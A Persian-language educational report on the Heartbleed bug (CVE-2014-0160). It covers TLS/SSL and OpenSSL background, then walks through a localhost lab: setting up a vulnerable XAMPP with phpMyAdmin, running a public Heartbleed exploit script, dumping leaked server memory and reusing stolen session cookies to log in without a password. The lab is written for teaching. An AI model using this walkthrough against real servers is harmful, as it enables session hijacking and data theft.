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 چکیده .1.1

 هیب در کتابخانه رمزنگارچندان غیرعادی اما مآوریل سال جاری میلادی، آشکار شدن نقصی نه 8در روز  

OpenSSL ها هنوز های آن پس از گذشت هفتهلرزهو پس که بازتابپا کرد؛ چنانای را بههیاهوی گسترده

های نوین امنیتی موجب تری را درباره لزوم اتخاذ شیوههای جدیهم ادامه دارد و جدای از این مورد، بحث

ها چنین تلاطم سترگی پدید نی و امنیتی و چه در سطح رسانهچه که باعث شد چه در محافل فشده است. آن

 این معنیآید، نه خود این باگ بلکه مدت زمان طولانی پنهان ماندنش از چشم ناظران و پژوهشگران بود؛ به

 Heartbleed خونریزی قلبی یا Codenomicon که باگ یا رخنه یادشده که در همان آغاز از سوی شرکت

دانست آیا تاکنون درستی نمیبود و کسی بهها پنهان مانده از دیده OpenSSL ت دو سال درمدنام گرفت، به

است یا نه و اگر پاسخ مثبت است، شدت و گستره دستبردها برداری شدهبرای دستبردهای سایبری از آن بهره

 ]9[.است اندازه بودهتا چه

 

 مقدمه .1.2

 یدهایمنتشر شده است که درجه تهد 2014 یلآور 8 - 1393 ینفرورد 19 یخدر تار یمهم یاربس پذیرییبآس

که  یاست. با توجه به خطر یافتهشهرت  "یقلب یزیخونر"قرمز قرار داده است و به  یترا در وضع ینترنتیا

 پذیری کشفاین فصل تمرکز بر روی آسیب در کند یم یجادا جهانی فضای مجازی یتامن یمساله برا ینا

های زیادی را تحت تاثیر قرار دهد. به طور خلاصه این است که باعث شد سیستم opensslشده جدید بر روی 

شد که فرد حمله کننده رخ داد و باعث می bleedبه نام  opensslهای پذیری بر روی یکی از ماژولآسیب

د دارد که در کیلوبایت از کشَ سِرور را بدون این که رمز شود دریافت کند. این احتمال وجو 64بتواند میزان 

کیلوبایت اطلاعات تصدیق اصالت کاربر وجود داشته باشد، و این اطلاعات بدون این که رمز شوند به  64این 

 MySQLپذیری را شرح داده، و برای پایگاه داده خواهیم این آسیبافتد. در این فصل میدست مهاجم می

 ]3و10[اجرا کنیم.
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1.3. TLS , SSL 
TLS1 پردازنده آن یعنی پیشبا استفاده از ست که یک پروتکل امنیتی اSSL2  برای مهیا ساختن امنیت بر

که از قبل با آن آشنا هستیم، و  X.509این پروتکل با استفاده از استاندارد  اند.سازی شدهروی اینترنت پیاده

 ،پروتکل ینا .کندیسیستم رمزنگاری نامتقارن برای تصدیق اصالت طرف مقابل، و تبادل کلید متقارن استفاده م

 یمابرهان یکی،وب، پست الکترون هاییگاهچون کار کردن با پا یمقاصد یبرا ینترنتها را در ادادهانتقال یتامن

عمل رمزنگاری  TCP/IPهر دو در مدل  SSLو هم  TLSهم  .دبریبه کار م ینترنتیا یفور هاییامو پ ینتزنتیا

شود. های ارتباطی استفاده میداده کلید نهایی تولید شده برای رمزکردن دادههای پایینی لایه کاربر انجام را لایه

 ]4و10[

1.3.1. TLS 

TLS  یک پروتکل سمتclient طراحی شده است.  3است که مقابله با حملات دستکاری و استراق سمع

Client یبرا یدبا Server اتصال  یکخواهد یم یامشخص کند که آTLS  ولییک اتصال معم یاداشته باشد .

 TLSاتصال  یبرا یاست که از شماره پورت متفاوت ینراه ا یکهدف وجود دارد:  ینبه ا یدنرس یدو راه برا

تواند راه دیگر می یگر( و ددر نظر گرفته شده است Httpsکه برای اتصال  443مثال پورت  ی)برا استفاده شود

را  ینتسرور به کلا یقاز طررا مشخص  رتوپ یکرفته و  TLSاین باشد کلایتن از سرور بخواهد که بر روی 

 انجام دهد. (STARTTLS4مثال  یپروتکل خاص )برا یسممکان یکبا استفاده از 

                                              
1  Transport Layer Security 
2  Secure Sockets Layer 
3  Eavesdropping and Tampering 

)این که یک پورت جدا در « پورت جدا»کند که نسبت به روش هایی را برای ارتباط رمزدار معرفی میی از ارتباطات متنی است که روشایک توسعه 4

 کند.استفاده می SSL,TSLشود همچنین از استفاده می ...,IMAP, POP3در  های بیشتری دارد. این روشبرای ارتباطات رمزی نظر بگیریم( مزیت
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استفاده کنند، به مذاکره با استفاده از روش  TLSگرفتند از اتصال  یمو سرور تصم ینتکه کلا یزمان

handshaking ال اتص یتامن یجادا یکه برا یمختلف یپارامترها یبر رو ینتپردازند. سپس سرور و کلایم

 ]1،10[ رسند: یبه توافق م)مثلا کلید( شود  یاستفاده م

 

کند. یدارد را ارسال م یازن نآبه  SSLارتباط با استفاده از  یبرقرار یرا که سرور برا یاطلاعات کلاینت .1

 ازیممکن است به آن نکه سرور  یاطلاعات یرو سارمزنگاری  ظیماتتن ینت،کلا SSLشماره نسخه  مانند

 داشته باشد.

ارسال  یشدارد را برا یازن نآبه  SSLارتباط با استفاده از  یبرقرار یبرا ینترا که کلا یاطلاعات سرور .2

 د.دار یازبه آن ن ینتکه کلا یاطلاعات یرو سارمزنگاری  ظیماتسرور، تن SSLشماره نسخه  کند. مانندیم

( resource) یدرخواست منبع ینتکند و اگر کلایارسال م ینتکلا یخود را برا ینامهگواه ینسرور همچن

 ال شود.سرور ارس یبرا ینتکلا ینامهگواه یدشود و باتصدیق اصالت  یدبا ینتداشته باشد، کلارا از سرور 

اربر نشود، به ک یقکند. اگر سرور تصد یتهو تواند سرور را احرازیم ینتاز سرور، کلا یافتیاطلاعات در با .3

 یقصدت ی. اگر سرور به درستیردانجام گ تواندینماصالت  یقو تصد یارنگشود که عمل رمزیار داده مهشد

 رود. یبه مرحله بعد م ینتشد کلا

سرور  رایکرده و آن را ب یجادا pre-master secret یک ینتاستفاده از اطلاعات به دست آمده، کلا با .4

 کند. یارسال م

رور س یخود را برا یاطلاعات لازم و گواه یهکل ینترا ثابت کند، کلا یتشبخواهد هو ینتسرور از کلا اگر .5

 کند. یارسال م

 یصوصخ یدشود، سرور از کل یقتصد یشود اما اگر به درست ینشود، ارتباط قطع م یقتصد ینتکلا اگر .6

 کند. یاستفاده م pre-master secretکردن  باز یخود برا

ت متقارن اس یدکل یککه  کنندیجلسات استفاده م یدکل یدتول یبرا master secretو سرور از  کلاینت .7

 شود.یاطلاعات مبادله شده استفاده مترجمه و نگاری رمز یو برا

 کند. یجلسه آن را رمز م یدکند با استفاده از کل یسرور ارسال م یبرا یغامیپ ینتکلا وقتی .8

 کند. یجلسه آن را رمز م یدلکند با استفاده از ک یارسال م ینتکلا یبرا یغامیسرور پ وقتی .9

 یرنگارمز یجلسه برا یدو سرور از کل ینتشود. کلا یکامل است و ارتباط شروع م SSL handshake اکنون

 نند.کیفرستند استفاده میهم م یکه برا یاطلاعاتمه جترو 
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TSL  در سه نسخهTSL 1.0, TSL 1.1, TSL 1.2  وSSL  در سه نسخهSSL 1, 2, 3 اند. دهسازی شپیاده

 .TLSپیاده سازی شد و سپس  SSLدر واقع ابتدا 

1. SSL 1.0, 2.0, 3.0 
نبود. نسخه  یاستفاده عموم یآن برا 1.0توسعه داده شد. نسخه  Netscapeدر اصل توسط  SSL پروتکل

 SSLشد.  3.0نسخه  یدداشت و منجر به تول یتیامن یهانقص یمنتشر شد که تعداد 1995آن در سال  2.0

 شده بود. یدتول یمجدد کامل از پروتکل ها یطراح یکمنتشر شد  1996در سال که  3.0

2. TLS 1.0 
 ینا ینب یریشد. تفاوت چشمگ یفتعر SSL 3.0نسخه  ییافتهبه عنوان ارتقا  1999پروتکل در سال  این

 را کامل کرده است. SSL 3.0پروتکل  ینتوان گفت ایوجود ندارد و م SSL 3.0پروتکل و 

3. TLS 1.1 
نسخه  ینکه در ا یقابل توجه یهاتفاوت بود. TLS 1.0 یافتهشد و توسعه  یفتعر 2006پروتکل در سال  این

 :به شرح زیر است وجود دارد

 اضافه شده است. Cipher block chaining (CBCبرابر حملات ) در حفاظت .1

2. IV implicit  باIV explicit شده است. یگزینجا 

3. TLS 1.2 
-MD5است که  ینپروتکل دارد ا ینکه ا یرا دارد. تفاوت TLS 1.1د. مشخصات ش یدتول 2008سال  در

SHA-1  باSHA-256 شده است. یگزینجا 

شود و یم یسازیادهانتقال پ یهلا یهاپروتکل یتمام یمعمولاً در بالا TLS ی،کاربرد یبرنامه ها یدر طراح

کند. با ی، را کپسوله مHTTP ،FTP ،SMTP ،NNTP ،XMPPمانند  یکاربرد یهابرنامه یهاپروتکل

 شود.یاستفاده م (DCCP) دادهو پروتکل کنترل ازدحام  UDPگرام مانند انتقال داده یهااستفاده از پروتکل

1.3.2. SSL 

درآمد.  ینترنتآن به صورت استاندارد ا 3شد و نسخه  یطراح Netscape( توسط SSLسوکت امن ) یهلا

حمل قرار گرفته  یهلا یاول بالا یهقرار گرفته است. لا TCP یه رواست ک یا یهبه صورت دولا SSL یمعمار

 یها یسرد مربوط به سرویگیدوم قرار م یهکه در لا SSLاز  یکاربرد است. قسمت یهدوم در لا یهاست و لا

 SSLمشخصات رمزکننده و پروتکل هشدار است.  ییراست و شامل پروتکل دست دادن، پروتکل تغ یریتیمد

 یرهر تعداد اتصال امن امکان پذ یقشود و از آن طر یجادجلسه ا یکو سرور  ینتکلا یند که بده یاجازه م

جلسه وجود داشته باشد و در عمل  یکاز  یشب دتوان یسرور م یکو  ینتکلا یک ینب یباشد. از نظر تئور

 .یدآ یجلسه به وجود م یکفقط 
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ه کند ک یم یفرا تعر یتیامن یاز پارامترها یشود و مجموعه ا یم یجادجلسه توسط پروتکل دست دادن ا یک

 یسر یکهر جلسه و هر اتصال به  یشوند. برا یدر اتصالات مربوط به آن جلسه استفاده م یبه صورت اشتراک

 ]10 [ است. یازپارامترها ن

1.4. OpenSSL 
OpenSSL باز از پروتکل سازی متنیک پیادهSSL  وTSL  است که به زبانC های نهاانجام شده، و کتابخ

 1998لازم جهت برقراری ارتباط امن و همچنین توابع رمزنگاری متفاوت در آن قرار دارد. این پروژه در سال 

ها و حاصل کار گروهی از سورس برای رمزنگاری دادهافزاری اپنال یک کتابخانه نرماساساپنشروع شد. 

ند. دهک به جامعه کاربران اینترنت بسط داده و میرایگان و برای کمرا بهداوطلبان بسیار زبده است که آن

بود،  منتشر شده 2012آوریل  19افزار که در این نرم 1.0.1را باید در نسخه  Heartbleed نقطه آغاز داستان

 Heartbeat های جدید و اتفاقاً سودمند در این نسخه موسوم بهوجو کرد: یکی از الحاقات یا اکستنشنجست

طور بود نقصی داشت که درنتیجه آن هر شخصی به نویس آلمانی نوشته شدهتوسط یک برنامه یا تپش قلب که

جای بگذارد، بازیابی کند. که ردی از خود بهآنسرور را بیتوانست اطلاعات موجود روی حافظه وببالقوه می

ماندند. یب ایمن میچنین ایرادی نداشتند و کاربرانش از این آس OpenSSL های پیشینکه نسخهجالب آن

سرور بتواند بین کاربر و سایت کانال ارتباطی امنی ایجاد کند، بین کامپیوتر و وب SSL که پروتکلبرای این

ع بیت در واقفرستد. این هارتسرور میبیت به وبشود. ماشین کاربر یک هارتیک ارتباط دوسویه ایجاد می

آن متصل شوید، آنلاین است یا نه. اگر خواهید بهروری که میدهد آیا ساست که اطلاع می (ping) یک پینگ

 کند. سال میار تانتپد و سیگنال خود را به نشانه تایید برایسرور آنلاین بود، آن نیز در پاسخ به تپش شما می

 

ایش آن آزم شود و دیگر لازم نیست در هر بار دادوستد داده،کار بین شما و سرور یک اتصال امن ایجاد میبا این

شد فرآیند فوق در میانه راه مخدوش شود. بیت ایرادی داشت که باعث میاولیه تکرار شود. اما اکستنشن هارت

شده در  های ذخیرهرا طوری فریب دهد که بخشی از دادهتواند با هر سیگنال تپش، سرور زیرا مهاجم می

ها ممکن است حاوی اطلاعات مهمی مانند داده صورت تصادفی برای او ارسال کند. اینحافظه خود را به

ها یا شاید حتی حاوی کلیدهای اختصاصی سرور باشند که در های کاربری، گذرواژههای ایمیل، نامآدرس

 آفی با انتشار گزارشی در وبلاگ رسمیرو است که مکافتد. از اینخطر میصورت کل گستره اینترنت بهاین

 «.عف امنیتی غیرقابل وصف استحساسیت این ض»خود نوشت: 

 Tim Hudsonو  Eric A. Youngکه توسط  SSLeayبه نام  یگریبر کتابخانه د یال مبتناساساوپن

 ,AES, Blowfish یرنظ ینگارزمر یاهیتمال از انواع مختلف الگوراساساوپن است. یافت،یم توسعه
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Camellia, SEED یرنظ یرمزنگار یازسانواع مختلف توابع درهم طورینو هم MD5, MD2, SHA-1, 

SHA-2 مانند  یعموم یدکل یرمزنگار هاییتمو الگورRSA, DSA کندیم یبانیپشت. 

شود که بخواهیم یک ارتباط امن بین کلاینت و سرور برقرار کنیم. مثلا ال زمانی استفاده میاساز اپن اس

که توسط  HTTPSمن هم مطرح شود. برای همین مطرح شد، نیاز بود یک ارتباط ا HTTPزمانی که ارتباط 

OpenSSL کند. در واقع کند، این امن بودن را برقرار میکار میHTTPS  توسطOpenSSL  اطلاعات را رمز

 کند. ( میVerifyو ترجمه و تحقیق )

 که خود CAشناسایی شود. کاربر توسط  CAبرنامه متقاضی باید ابتدا توسط یک  OpenSSLبرای کار با 

کند. همچنین از دارای کلید عمومی و خصوصی است، یک کلید عمومی و خصوصی برای خودش تولید می

کند و در صورت  verifyتواند سرور و کلاینت را می CAبنابراین  د.سرور هم کلید عمومی و خصوصی دار قبل

همان سرور است. مثلا در یک  CAر مواقع کثتواند ارتباط امنی را برای کاربر برقرار کند. در اتایید سرور می

انتقال اطلاعات  یپروتکل امن برا یک HTTPS5 یاپروتکل امن انتقال ابرمتن است.  CAسرور  HTTPSارتباط 

استاندارد  نیاست. ا یافتهتوسعه  ینترنتاستفاده در ا یکه به صورت خاص برا باشدیم یوتریکامپ یهادر شبکه

 انتقال یهلا یتپروتکل امن یبر رو HTTPبا قرار گرفتن  هبلک ست،یپروتکل ن یکخود  یدر واقع به خود

افزوده  HTTPانتقال به ارتباطات ی یهلا یتموجود در پروتکل امن یتامن ترتیبین ااست. بهوجود آمدهبه

 است.شده

 دهد،یقرار م HTTP یردر ز اییهانتقال را به طور کامل در لا یهلا یت، پروتکل امنHTTPSکه  ییاز آنجا

 پارامترهای ،وب یاطلاعات شامل نشان ین. اشودرمزنگاری میبه طور کامل  HTTPی هبست یاتمحتو یتمام

 گاهوب درگاهی هو شمار IPبه آدرس  TCP/IP ییهجا که لا. اما از آنشودیم هایو کوک یندهاسرآ ی،ارسال

گاه گوگل، ارتباط امن با وب یکمثال در  یراها محافظت کند. باز آن تواندینم HTTPSاست، پروتکل  نیازمند

 توانیم IPآدرس  یتنها از روو  او شود تدرخواس محتویات متوجه کاربری هبست یاز رو تواندینم کسیچه

 بر در حال مکالمه با گوگل است.داد که کار یصتشخ

 یهر کدام از دو طرف یبرارا دارد  SSL یجیتالد یهایگواه یصدور و اعطا یتکه صلاح یشرکت یگرد یانبه ب

 رندهیگیسدهنده و سرویسمخصوص سرو یهایامن داشته باشند، گواه یاشبکه یانکه قرار است ارتباطات م

 یدیطرف مقابل تا یرا برا ینهر کدام از طرف یتخاص خود هو یتهو تصدیق یهایزمکند و با مکانیرا صادر م

 یراانتقال مورد سرقت قرار گرفت، ب ینکند که اگر اطلاعات ح ینتضم یستبایکار م یناز ا یرکند، البته غیم

                                              
5  Hypertext Transfer Protocol Secure 
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نامتقارن  یرمزنگار یدهایو کل یرمزنگار یهایتمکار را با کمک الگور ینقابل درک و استفاده نباشد که ا یندهربا

 ]7،10؛6[ .شودیو متقارن انجام م

 SSLدهنده  یلتشک یها یزممکان .1.4.1

 :شودمیمراحل زیر دنبال  SSLدر یک ارتباط 

 یک یتکاربر از صحت هو یک، SSLدر  یژگیو یناستفاده از ا با: دهنده یسسرو یتهو ییدتا .1

مرورگر  یکمثلا  یرنده،گ یسسمت سرو SSLبر  یمبتن یشود. نرم افزارهایدهنده مطمئن م یسسرو

 هیساو مق ی،عموم یدبر کل یمبتن یاستاندارد رمزنگار یهایکاز تکن Internet Explorer یروب نظ

تواند از یم IIS یرنظ (دهنده وبیسبرنامه سرو یک)مثلا نده دهیسسرو یک یعموم یدهایبا کل

تواند نسبت به وارد نمودن اطلاعات خود مانند یکامل، کاربر م یناناو مطلع شود و پس از اطم یتهو

 . یدگذرواژه ها اقدام نما یاو  یاعتبار یهاشماره کارت

از  تیسبا یدهنده است که میسسرو ینجادر ا یحالت قبل برعکس :هیرندگ یسسرو یتهو ییدتا .2

سمت  SSLبر  یافزار مبتننرم یزم،مکان ینا ی. طیابد یناناطم یرندهگیسسرو یتصحت هو

 یهایرندهگیسسرو یستمجاز موجود در ل یهابا نام یرندهگیسنام سرو یسهدهنده پس از مقایسسرو

 یها یسشود و در صورت وجود، اجازه استفاده از سرویف میعردهنده تیسمجاز که در داخل سرو

 دهد.  یمجاز را به او م

 یستبایم یرندهگسرویسدهنده و یسسرو یاناطلاعات مبادله شده م کلیه :ارتباطات رمز شده .3

( شده و در طرف Encrypt)رمز  یرندهگ یسدهنده و سرویسموجود در سمت سرو یافزارهاتوسط نرم

ها یستمگونه سین( در اConfidentiality) ی( شوند تا حداکثر محرمانگDecrypt) هترجممقابل 

 ]4،10[ لحاظ شود.

 

 SSLتحدیدات امنیتي  .1.5

تواند خطرناک می SSLهای سازی هر کدام از قسمتپذیری در پیادهبا توجه به توضیحات داده شده، یک آسیب

رمز نشده را دریافت کرد. یا کلید خصوصی کلاینت یا سرور ها، اطلاعات باشد و ممکن است بتوان با شنود بسته

ای که این پروتکل را به عنوان برنامه OpenSSLیا خود را جای دیگری جا زد. بنابراین را دریافت کرد. 

 سازی کرده باید در مقابل این حملات مقاوم باشد.پیاده
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 Opensslها در پذیریآسیب .1.5.1

هایی پذیریتوان تعدادی از آسیبمی http://www.openssl.org/news/vulnerabilities.htmlدر آدرس 

ترین داشته است را مشاهده نمود. تعدادی از جدید های مختلف آن وجودکه درنسخه opensslکه 

 ها در ذیل لیست شده است:پذیریآسیب

CVE-2014-0224 

CVE-2014-0221 

CVE-2014-3470 

CVE-2014-0198 

CVE-2010-5298 

CVE-2014-0160 

CVE-2013-4353 

CVE-2013-6449 

CVE-2013-6450 

CVE-2012-2686 

CVE-2013-0166 

CVE-2013-0169 

  

بوده و یک  OpenSSLدر هسته  do_ssl3_writeمربوط به تابع  CVE-2014-0198پذیری مثلا آسیب

پذیری مهم کند. ما در این فصل به بررسی آسیبایجاد می NULLگر با استفاده از یک اشارهرا  DoSحمله 

0160-2014-CVE .2،1،3،10 [خواهیم پرداخت[ 

 CVE-2014-0160پذیری آسیب .1.6

قرار دارد. این  OpenSSLدر  (Cryptography)های رمزنگاری پذیری در قسمت کتابخانهاین آسیب

ی شود هر کسپذیری باعث مید که اطلاعات محافظت شده به سرقت برود. این آسیبدهپذیری اجازه میآسیب

کیلوبایت  64را بخواند. هر چند در عمل فقط مقدار  OpenSSL( cacheدر اینترنت بتواند مقداری از حافظه )

 مسئله از این اینحافظه را دریافت کرد.  بخش زیادی ازتوان ل میماز حافظه قابل خواندن است اما با تکرار ع

د شوجهت قابل اهمیت است که اگر اطلاعات مهمی در حافظه باشد )مثلا اطلاعات تصدیق اصالت( احتمالا می

 آن را دریافت کرد.

 Heartbleedوجود دارد و برای همین تحت  OpenSSLبرنامه  heartbleedپذیری در قسمت این آسیب

Bug همچنین شود. شناخته میCVE-2014-0160 پذیری در ره آسیبشماCommon Vulnerabilities 

and Exposures .اند که احتمالا بتوان به کلید خصوصی سرور یا بعضی از افراد مدعی شده استCA  دسترسی

 2011های از سال پذیری در نسخهاین آسیب پیدا کرد، اما هنوز هیچ کس نتوانسته این کار را انجام دهد.

 وجود دارد. 

OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable 

OpenSSL 1.0.1g is NOT vulnerable 

OpenSSL 1.0.0 branch is NOT vulnerable 

OpenSSL 0.9.8 branch is NOT vulnerable 

http://www.openssl.org/news/vulnerabilities.html
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هایی از ارائه شد، برطرف گردید. در نسخه 2014که در ماه آپریل  1.0.1gپذیری در نسخه این آسیب

پذیری وجود دارد. مثلا در جدول کنند این آسیبها کار میبا این نسخه opensslسرورها که از  عامل وسیستم

 دهد:های مختلف وجود دارد را نشان میعاملهای اصلی سیستمنسخهپذیری که در زیر آسیب
OpenSSL default installed OS - Platform 

OpenSSL 1.0.1e-2+deb7u4 Debian Wheezy (stable) 

OpenSSL 1.0.1-4ubuntu5.11 Ubuntu 12.04.4 LTS 

OpenSSL 1.0.1e-15 CentOS 6.5 

OpenSSL 1.0.1e-4 Fedora 18 

OpenSSL 1.0.1c 10 May 2012 OpenBSD 5.4 

OpenSSL 1.0.1c 10 May 2012 OpenBSD 5.3 

OpenSSL 1.0.1e 11 Feb 2013 FreeBSD 10.0 

OpenSSL 1.0.1e NetBSD 5.0.2 

OpenSSL 1.0.1c OpenSUSE 12.2 

پذیری وجود دارد. پذیر نصب شده باشد، این آسیبآسیب OpenSSLبا  httpsها همچنین اگر در دیگر نسخه

از  HTTPSاجرا کنیم و برای برقراری ارتباط امن  7را روی سیستم عامل ویندوز Apacheمثلا اگر 

OpenSSL برداپذیری را به راحتی بهرهتوان کد آسیبپذیر استفاده کنیم، میآسیب( ریExploit.کرد )  

 ]5[اجرا کنیم.  XAMPPپذیری را روی ویندوز و برنامه جا قصد داریم این آسیبما در این

1.6.1. XAMPP 
چهار برنامه  XAMPPها وجود دارد. در دل عاملیک برنامه آماده است که برای همه سیستم XAMPPبرنامه 

های موجود هستند که چهار حرف رنامهب MySQL ،PHP ،Perl ،Apache2شود. طور اتوماتیک نصب میبه

های جانبی دیگری هم باشد. به طبع برای استفاده از آن در ویندوز برنامهدهنده آن مینشان XAMPPآخر 

که  MailServer ،phpMyAdminاست،  FTPای برای کار با که برنامه FileZillaFTPشود، مثل نصب می

که برای داشتن دو سرور  tomcat(، MySQLفرض برای )به طور پیشداده است ای برای کار با پایگاهبرنامه

PHP  و جاوا در کنار هم وOpenSSL. 

پذیر است آن آسیب OpenSSLشود چرا که نسخه استفاده می 1.8.3نسخه  XAMPPدر این گزارش ار 

 توان از آدرس زیر دریافت کرد )به طور رایگان(: (. زَمپ را می1.0.1e)نسخه 

https://www.apachefriends.org/ 

فعال است. برای اجرا نیاز است که فایل زیر  HTTPسرور بر روی  XAMPPفرض پس از نصب به طور پیش

 را اجرا کنیم:

C:\xampp\xampp-control.exe 
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 صفحه اصلی – XAMPP: برنامه 1شکل 

 MySQLو  Apacheدر دو قسمت  Startبراین بر روی پس از اجرا نیاز است تا سرورها را اجرا کنیم. بنا

اجرا نشود. دلیل آن است که  Apacheاجرا شود ولی  MySQLکنیم. احتمال این وجود دارد که کلیلک می

کلیلک کنید.  Netstatبسته یا در اختیار برنامه دیگری است. در این حالت بر روی  Apacheفرض پورت پیش

برای  80و  443توان مشاهده کرد که پورت را خواهیم داشت. با بازبینی برنامه می 2شکل در این حالت 

Apache  برای  3306وMySQL مورد نظر، برنامه ای گرفته است. می توان با بستن برنامه را چه برنامه

Apache  یاMySQL  .را داشته باشیم. 1شکل در نهایت باید را اجرا کرد 
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 توان مشاهده کرد.های مختلفی که پورتی را در اختیار دارند را میدر این حالت برنامه – XAMPPدر  Netstat: برنامه 2شکل 

 شویم.می /http://localhostشویم و به آدرس حالا وارد مرورگر می

 
 در مرورگر. xampp: صفحه اصلی 3شکل 

http://localhost/
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توان توسط کند و میرا پشتیبانی می XAMPP ،HTTPSشود به طور پیش فرض همانطور که مشاهده می

 به آن مراجعه کرد. /https://localhstآدرس 

 phpMyAdminکنیم. برای این کار لازم است که از برنامه پذیری را تست حالا وقت آن است که آسیب

 کنیم.مراجعه می http://localhost/phpmyadminاستفاده کنیم. پس به آدرس 

 
 phpMyAdmin: برنامه 4شکل 

 کنیم:فایل زیر را باز می

C:\xampp\phpMyAdmin\config.inc.php 

تنظیمات است،  phpیک برنامه تحت  phpMyAdminاست. چون  phpMyAdminاین فایل تنظیمات 

ها( از فایل پشتیبان اگر این فایل وجود ندارد )در بعضی از نسخهخواهد بود.  PHPهم به زبان آن

config.sample.inc.php .استفاده کنید 

 ا ممکن است از ابتدا همین مقدار باشند(:هتغییرات زیر را اعمال کنید )بعضی

$cfg['Servers'][$i]['auth_type'] = 'cookie'; 

$cfg['Servers'][$i]['AllowNoPassword'] = true; 

کنیم. این بار باید از شما نام کاربری ( و دوباره صفحه باز میlog outخارج شده ) phpMyAdminسپس از 

تواند فقط با رمز عبور ندارد می rootکاربر  MySQL. در این حالت اگر در (5شکل و رمز عبور بگیرد )

https://localhst/
http://localhost/phpmyadmin
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توان از شده است، می 443روی پورت  xamppدقت شود که چون وارد شد.  blankکاربری و رمز عبور نام

 استفاده کرد.  minhttps://localhost/phpmyadآدرس 

 است. exploitتنظیمات تمام شد! حالا نوبت 

 Heartbleedپذیری برداری از آسیببهره .1.6.2

را دریافت کنیم و دوما برای اجرا نیاز به زبان  exploitبرای این کار نیاز است که دو کار انجام دهیم. اولا کد 

 است. پس باید آن را هم نصب کنیم.  pythonبرنامه نویسی 

کنیم و برای پایتون دریافت می db.com/exploits/32745-http://www.exploitبهره بردار را از آدرس  کد

 کنیم:خطا دارد. از آدرس زیر دانلود و نصب می 3های کنیم. روی نسخهاستفاده می *.2.7از نسخه 

https://www.python.org/download  

 بعد از اعمال تنظیمات phpMyAdmin: صفحه اولیه 5شکل 

https://localhost/phpmyadmin
http://www.exploit-db.com/exploits/32745
https://www.python.org/download
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شویم. سپس پایتون میکنیم. و وارد فولدر باز می administratorرا با دسترسی   command promptحالا 

 کنیم:ایم در همان آدرس قرار داده و دستور زیر را تایپ میرا که دانلود کرده exploitفایل 

c:\Python27>python.exe heartbleed.py 127.0.0.1 

 توانیم از دستور کنیم. میدر این حالت خروجی بهره برداری را مشاهده می

c:\Python27>python.exe heartbleed.py 127.0.0.1 > log.txt 

 قرار بگیرد. اگر این فایل را باز کنیم داریم: log.txtاستفاده کنیم تا خروجی در فایل 
Trying SSL 3.0... 

Connecting... 

Sending Client Hello... 

Waiting for Server Hello... 

 ...received message: type = 22, ver = 0300, length = 94 

 ...received message: type = 22, ver = 0300, length = 429 

 ...received message: type = 22, ver = 0300, length = 203 

 ...received message: type = 22, ver = 0300, length = 4 

Sending heartbeat request... 

 ...received message: type = 24, ver = 0300, length = 16384 

Received heartbeat response: 

0000 :02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r... 

0010 : BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9....... 

 در ویندوز cmd: اجرای 6شکل 
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 phpMyAdminپاسخ داده است. اگر در صفحه  heartbleedبینم سرور به درخواست اگر دقت کنیم می

های مختلف برویم تا کوکی دخیره شود، و دوباره اسکریپت را اجرا کنیم، اطلاعات کوکی را در جندبار به بخض

 یم دید:خواه log.txtفایل 

  

کاربری و رمز عبور از سیستم استفاده زنیم و بدون داشتن نامداریم و در مروگر میها را برمیحالا تمام کوکی

از  vmwareتوان مثلا از طریق کردیم. میکنیم. دقت کنیم که ما در این آزمایش، در یک سیستم کار میمی

پی از آی 127.0.0.1را دزدید.  در این حالت به جای ها یک سیستم دیگر به همین سیستم وصل شد و کوکی

تواند مدیر از سیستم دیگری وارد شده باشد. مهم نیست اما هر بار کنیم. حتی میسیستم قربانی استفاده می

برداری زمانی انجام شود که شود و مهم این است که بهرهباز میشود کش عوض می HTTPSکه یک صفحه 

وصل شده باشد، در این  HTTPSباشد. هر سایت دیگری که با  phpMyAdminدر آخرین عمل یه عملیات 

 هایش و یا حتی دیگر اطلاعاتش قابل دسترس است. سرور کوکی

را در اختیار گرفت و درست  MySQLتوان تمام دسترسی برداری شد، میبهره phpMyAdminحالا که روی 

خورد. در ادامه این هم در این مورد ضربه می MySQLاست اما  OpenSSLپذیری است که این یک آسیب

 کنیم.کند صحبت میبرداری کار میپذیری بهرهکه چگونه و چرا این آسیب

 بردارتحلیل کد بهره .1.6.3

است که تنها ارسال و دریافت دارد و فاقد  pythonکنید که یک کد ساده اگر کد را بررسی کنید، مشاهده می

 شود:پذیری است که در آن عملیات زیر انجام میآسیب hearbleedپذیری یب! در واقع آسshelcodeهرگونه 
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خواهم. طبق استاندارد اد ارتباط را میجاطلاعات لازم برای ای ارسال یک پیام به سرور مبنی بر این که .1

 لازم است مقدار دقیق داده را وارد کرد.

Client → Server: send me ‘hello’ word (5bytes) if you there! 

 پذیر است یا نه.توان فهمید که سرور آسیباز رو پاسخ می .2

Server → Client: ‘hello’ 
 کند.شود که به طرز اشتباهی از آن استفاده میحالا درخواست دیگری ارسال می .3

Client → Server: send me ‘hello’ word (500 bytes) if you there! 

 سرور امنیک پاسخ  .4

Server → Client: ERROR 

 پذیرپاسخ سرور آسیب .5

Server → Client: ‘hello….Sever authentication … 552 33 cookei … ’ 
 تر نشان داده است:واضحمطلب را  wikipediaشکل زیر برگرفته از 

 
 heartbleed: طریقه سوء استفاده در 7شکل 

توان از یک موقعیت به بعد را می ،ود در کشجمواطلاعات یر پذشود در سرور آسیبطور که ملاحظه میهمان

 دریافت کرد. 
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ابتدا به شرح توابع است.  mainها تابع است که یکی از آن 6کنیم. این کد دارای حالا کد را بررسی می

 ایم:دهند را گزارش کردهپردازیم. در جدول زیر اسامی توابع و کاری که انجام میمی

 ملیاتشرح ع نام تابع

h2bin 
 کند. مثلااین تابع یک رشته دریافت و آن را به باینری تبدیل می

‘65 0D 0A 41 63 63 65 70 74 3A’  → Accept:  

hexdump ای از عکس تابع قبل عمل کرده و یک رشته باینری را به رشتهHexکندها تبدیل می. 

recvall 

اگر پاسخ کمتر از  .شودرسال استفاده می. این تابع بعد از اlengthدریافت پاسخ با طول 

length  باشدnone پذیر باشد( پاسخ دریافتیشود و اگر بیشتر باشد )آسیببرگردانده می 

 گرداند.را برمی

recvmsg 
بار با طول  2کند. همچنین هایی را چاپ میپیام recvallبا توجه به خروجی تابع این تابع 

 کند.انی میرا فراخو recvallتابع  10و  5

hit_hb 
پذیری مطلع گشته و در صورت این تابع با ارسال یک بسته به سمت سرور از وجود آسیب

 کند.خطا آن را اعلام می

